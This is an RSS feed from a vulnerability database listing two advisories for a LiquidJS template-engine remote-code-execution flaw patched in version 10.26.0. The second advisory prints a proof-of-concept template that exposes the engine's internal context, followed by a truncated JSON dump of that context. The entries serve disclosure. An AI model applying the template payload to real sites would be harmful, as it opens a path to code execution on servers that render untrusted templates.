<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 05 Oct 2026 14:05:11 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2026-45618</title>
      <link>https://db.gcve.eu/vuln/fkie_cve-2026-45618</link>
      <description>&lt;p&gt;LiquidJS is a Shopify/GitHub Pages compatible template engine. Prior to version 10.26.0, it is possible to execute arbitrary code with crafted templates. Version 10.26.0 patches the issue.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;LiquidJS is a Shopify/GitHub Pages compatible template engine. Prior to version 10.26.0, it is possible to execute arbitrary code with crafted templates. Version 10.26.0 patches the issue.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/fkie_cve-2026-45618</guid>
    </item>
    <item>
      <title>GHSA-gf2q-c269-pqgc — LiquidJS is Vulnerable to Remote Code Execution</title>
      <link>https://db.gcve.eu/vuln/ghsa-gf2q-c269-pqgc</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: liquidjs&lt;/p&gt;
&lt;p&gt;### Summary
It is possible to execute arbitrary code with crafted templates&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;
 `1|valueOf` -&amp;gt; `this` when evaluating the filter&lt;/p&gt;
&lt;p&gt;&amp;lt;/summary&amp;gt;&lt;/p&gt;
&lt;p&gt;```liquid
{%assign r=1|valueOf%}
{{r|inspect}}
```&lt;/p&gt;
&lt;p&gt;```json
{&amp;#34;context&amp;#34;:{&amp;#34;scopes&amp;#34;:[{&amp;#34;r&amp;#34;:&amp;#34;[Circular]&amp;#34;}],&amp;#34;registers&amp;#34;:{},&amp;#34;breakCalled&amp;#34;:false,&amp;#34;continueCalled&amp;#34;:false,&amp;#34;sync&amp;#34;:false,&amp;#34;opts&amp;#34;:{&amp;#34;root&amp;#34;:[&amp;#34;.&amp;#34;],&amp;#34;layouts&amp;#34;:[&amp;#34;.&amp;#34;],&amp;#34;partials&amp;#34;:[&amp;#34;.&amp;#34;],&amp;#34;relativeReference&amp;#34;:true,&amp;#34;jekyllInclude&amp;#34;:false,&amp;#34;keyValueSeparator&amp;#34;:&amp;#34;:&amp;#34;,&amp;#34;extname&amp;#34;:&amp;#34;&amp;#34;,&amp;#34;fs&amp;#34;:{&amp;#34;sep&amp;#34;:&amp;#34;/&amp;#34;},&amp;#34;dynamicPartials&amp;#34;:true,&amp;#34;jsTruthy&amp;#34;:false,&amp;#34;dateFormat&amp;#34;:&amp;#34;%A, %B %-e, %Y at %-l:%M %P %z&amp;#34;,&amp;#34;locale&amp;#34;:&amp;#34;en-US&amp;#34;,&amp;#34;trimTagRight&amp;#34;:false,&amp;#34;trimTagLeft&amp;#34;:false,&amp;#34;trimOutputRight&amp;#34;:false,&amp;#34;trimOutputLeft&amp;#34;:false,&amp;#34;greedy&amp;#34;:true,&amp;#34;tagDelimiterLeft&amp;#34;:&amp;#34;{%&amp;#34;,&amp;#34;tagDelimiterRight&amp;#34;:&amp;#34;%}&amp;#34;,&amp;#34;outputDelimiterLeft&amp;#34;:&amp;#34;{{&amp;#34;,&amp;#34;outputDelimiterRight&amp;#34;:&amp;#34;}}&amp;#34;,&amp;#34;preserveTimezones&amp;#34;:false,&amp;#34;strictFilters&amp;#34;:false,&amp;#34;strictVariables&amp;#34;:false,&amp;#34;ownPropertyOnly&amp;#34;:true,&amp;#34;lenientIf&amp;#34;:false,&amp;#34;globals&amp;#34;:{},&amp;#34;keepOutputType&amp;#34;:false,&amp;#34;operators&amp;#34;:{},&amp;#34;memoryLimit&amp;#34;:null,&amp;#34;parseLimit&amp;#34;:null,&amp;#34;renderLimit&amp;#34;:null},&amp;#34;globals&amp;#34;:{},&amp;#34;environments&amp;#34;:{},&amp;#34;strictVariables&amp;#34;:false,&amp;#34;ownPropertyOnly&amp;#34;:true,&amp;#34;memoryLimit&amp;#34;:{&amp;#34;base&amp;#34;:0,&amp;#34;message&amp;#34;:&amp;#34;memory alloc limit exceeded&amp;#34;,&amp;#34;limit&amp;#34;:null},&amp;#34;renderLimit&amp;#34;:{&amp;#34;base&amp;#34;:0,&amp;#34;message&amp;#34;:&amp;#34;template render limit exceeded&amp;#34;,&amp;#34;limit&amp;#34;:null}},&amp;#34;token&amp;#34;:{&amp;#34;kind&amp;#34;:32,&amp;#34;input&amp;#34;:&amp;#34;{%assign r=1|valueOf%}\n{{r|inspect}}&amp;#34;,&amp;#34;begin&amp;#34;:13,&amp;#34;end&amp;#34;:20,&amp;#34;name&amp;#34;:&amp;#34;valueOf&amp;#34;,&amp;#34;args&amp;#34;:[]},&amp;#34;liquid&amp;#34;:{&amp;#34;renderer&amp;#34;:{},&amp;#34;filters&amp;#34;:{&amp;#34;raw&amp;#34;:{&amp;#34;raw&amp;#34;:true}},&amp;#34;tags&amp;#34;:{},&amp;#34;options&amp;#34;:{&amp;#34;root&amp;#34;:[&amp;#34;.&amp;#34;],&amp;#34;layouts&amp;#34;:[&amp;#34;.&amp;#34;],&amp;#34;partial…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: liquidjs&lt;/p&gt;
&lt;p&gt;### Summary
It is possible to execute arbitrary code with crafted templates&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;
 `1|valueOf` -&amp;gt; `this` when evaluating the filter&lt;/p&gt;
&lt;p&gt;&amp;lt;/summary&amp;gt;&lt;/p&gt;
&lt;p&gt;```liquid
{%assign r=1|valueOf%}
{{r|inspect}}
```&lt;/p&gt;
&lt;p&gt;```json
{&amp;#34;context&amp;#34;:{&amp;#34;scopes&amp;#34;:[{&amp;#34;r&amp;#34;:&amp;#34;[Circular]&amp;#34;}],&amp;#34;registers&amp;#34;:{},&amp;#34;breakCalled&amp;#34;:false,&amp;#34;continueCalled&amp;#34;:false,&amp;#34;sync&amp;#34;:false,&amp;#34;opts&amp;#34;:{&amp;#34;root&amp;#34;:[&amp;#34;.&amp;#34;],&amp;#34;layouts&amp;#34;:[&amp;#34;.&amp;#34;],&amp;#34;partials&amp;#34;:[&amp;#34;.&amp;#34;],&amp;#34;relativeReference&amp;#34;:true,&amp;#34;jekyllInclude&amp;#34;:false,&amp;#34;keyValueSeparator&amp;#34;:&amp;#34;:&amp;#34;,&amp;#34;extname&amp;#34;:&amp;#34;&amp;#34;,&amp;#34;fs&amp;#34;:{&amp;#34;sep&amp;#34;:&amp;#34;/&amp;#34;},&amp;#34;dynamicPartials&amp;#34;:true,&amp;#34;jsTruthy&amp;#34;:false,&amp;#34;dateFormat&amp;#34;:&amp;#34;%A, %B %-e, %Y at %-l:%M %P %z&amp;#34;,&amp;#34;locale&amp;#34;:&amp;#34;en-US&amp;#34;,&amp;#34;trimTagRight&amp;#34;:false,&amp;#34;trimTagLeft&amp;#34;:false,&amp;#34;trimOutputRight&amp;#34;:false,&amp;#34;trimOutputLeft&amp;#34;:false,&amp;#34;greedy&amp;#34;:true,&amp;#34;tagDelimiterLeft&amp;#34;:&amp;#34;{%&amp;#34;,&amp;#34;tagDelimiterRight&amp;#34;:&amp;#34;%}&amp;#34;,&amp;#34;outputDelimiterLeft&amp;#34;:&amp;#34;{{&amp;#34;,&amp;#34;outputDelimiterRight&amp;#34;:&amp;#34;}}&amp;#34;,&amp;#34;preserveTimezones&amp;#34;:false,&amp;#34;strictFilters&amp;#34;:false,&amp;#34;strictVariables&amp;#34;:false,&amp;#34;ownPropertyOnly&amp;#34;:true,&amp;#34;lenientIf&amp;#34;:false,&amp;#34;globals&amp;#34;:{},&amp;#34;keepOutputType&amp;#34;:false,&amp;#34;operators&amp;#34;:{},&amp;#34;memoryLimit&amp;#34;:null,&amp;#34;parseLimit&amp;#34;:null,&amp;#34;renderLimit&amp;#34;:null},&amp;#34;globals&amp;#34;:{},&amp;#34;environments&amp;#34;:{},&amp;#34;strictVariables&amp;#34;:false,&amp;#34;ownPropertyOnly&amp;#34;:true,&amp;#34;memoryLimit&amp;#34;:{&amp;#34;base&amp;#34;:0,&amp;#34;message&amp;#34;:&amp;#34;memory alloc limit exceeded&amp;#34;,&amp;#34;limit&amp;#34;:null},&amp;#34;renderLimit&amp;#34;:{&amp;#34;base&amp;#34;:0,&amp;#34;message&amp;#34;:&amp;#34;template render limit exceeded&amp;#34;,&amp;#34;limit&amp;#34;:null}},&amp;#34;token&amp;#34;:{&amp;#34;kind&amp;#34;:32,&amp;#34;input&amp;#34;:&amp;#34;{%assign r=1|valueOf%}\n{{r|inspect}}&amp;#34;,&amp;#34;begin&amp;#34;:13,&amp;#34;end&amp;#34;:20,&amp;#34;name&amp;#34;:&amp;#34;valueOf&amp;#34;,&amp;#34;args&amp;#34;:[]},&amp;#34;liquid&amp;#34;:{&amp;#34;renderer&amp;#34;:{},&amp;#34;filters&amp;#34;:{&amp;#34;raw&amp;#34;:{&amp;#34;raw&amp;#34;:true}},&amp;#34;tags&amp;#34;:{},&amp;#34;options&amp;#34;:{&amp;#34;root&amp;#34;:[&amp;#34;.&amp;#34;],&amp;#34;layouts&amp;#34;:[&amp;#34;.&amp;#34;],&amp;#34;partial…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-gf2q-c269-pqgc</guid>
    </item>
  </channel>
</rss>
